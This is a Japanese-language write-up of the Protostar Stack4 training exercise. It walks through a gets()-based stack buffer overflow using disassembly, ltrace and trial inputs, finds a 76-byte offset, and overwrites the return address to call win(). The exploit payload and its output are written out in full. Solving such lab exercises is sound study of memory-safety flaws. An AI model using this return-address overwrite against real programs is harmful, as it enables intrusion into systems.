protostar stack4 writeup
## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack4を解いたので、そのwriteupを書いていく
### Stack4
ソースコード
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
バッファオーバーフロー脆弱性がある.
バイナリのmain関数
$ objdump -d ./stack4 | grep main\>: -A9 08048408 <main>: 8048408: 55 push ebp 8048409: 89 e5 mov ebp,esp 804840b: 83 e4 f0 and esp,0xfffffff0 804840e: 83 ec 50 sub esp,0x50 8048411: 8d 44 24 10 lea eax,[esp+0x10] 8048415: 89 04 24 mov DWORD PTR [esp],eax 8048418: e8 ef fe ff ff call 804830c <gets@plt> 804841d: c9 leave 804841e: c3 ret
今回はリターンアドレスを書き換えてwin()を実行する.
実行して見る前にリターンアドレスとは何かについて書く.
プログラムはcall命令を実行すると, その関数内で次に実行する命令のアドレス(コレをリターンアドレスと呼ぶ)をスタックにプッシュする.
そしてcall命令で指定されたアドレスに格納されているコードの連なりである関数を実行していく.
次にその関数が呼ばれる直前のebpをプッシュしebpにespの値を入れる.
さらに"and esp,0xfffffff0"を実行しespに格納されている最後のバイトを0にする.
その後espから値を引くことで使いたい分だけスタックを確保する.
関数内で処理が終わると最後にret命令が実行される.
ret命令はebp+4バイト先にあるcall命令時に格納された値をeipにセットし実行を続ける命令.
このサイトを見るとわかりやすいと思う(http://d.hatena.ne.jp/yz2cm/20130526/1369591965)
こういった仕組みでプログラムは動いているがここで問題が発生する.
スタック上に格納されたリターンアドレスを何らかの脆弱性を利用し書き換えられた場合, eipが書き換えられたアドレスを指すようになり, そこに格納された命令を実行し始めてしまうのだ.
つまりリターンアドレスが格納されている場所にwin()のアドレスを書き込めばwin()が実行されるというわけだ.
ではどのようにメモリ上のリターンアドレスの位置を見つけるのか実際にやってみる.
まずはltraceでどのように関数が呼ばれているか見てみる.
$ ltrace ./stack4 __libc_start_main(0x8048408, 1, 0xbffff854, 0x8048430, 0x8048420 <unfinished ...> gets(0xbffff760, 0xb7ec6165, 0xbffff768, 0xb7eada75, 0xb7fd7ff4AAAA ) = 0xbffff760 +++ exited (status 96) +++
0xbffff760に書き込んでいるようだ.
このことから0xbffff760がbufferの先頭アドレスであると推測できる.
↑[7/11追記]これは間違いだった.
正しくはespに格納された値を読みに行っているようだ.
lea eax,[esp+0x10]
mov DWORD PTR [esp],eax
で[esp+10]のbufferの位置がespの指す0xbffff760に格納されていてこれを読んでいるみたい.
バイナリの処理を考慮しつつebpの値を計算すると
0xbffff760 - 0x10 + 0x50 = 0xbffff7a0
となる.
bufferからの差は 0xbffff7a0 - 0xbffff7a0 = 64
"and esp,0xfffffff0"で再開バイトが0になっているので実際の差は64~80範囲だ.
というわけで調べてみる.
$ python -c 'print "A"*72' | ./stack4 $ python -c 'print "A"*76' | ./stack4 Segmentation fault $ python -c 'print "A"*74' | ./stack4 $ python -c 'print "A"*75' | ./stack4 $ python -c 'print "A"*76' | ./stack4 Segmentation fault
どうやら76バイト以降がリターンアドレスのようだ.
以上のことか76バイト+win()のアドレスを入力すればwin()が実行できると考えられる.
次にnmコマンドでwin()のアドレスを探す.
$ nm ./stack4 | grep win 080483f4 T win
実行してみる.
$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack4 code flow successfully changed Segmentation fault
win()関数が実行されたことがわかる.
Stack4 おわり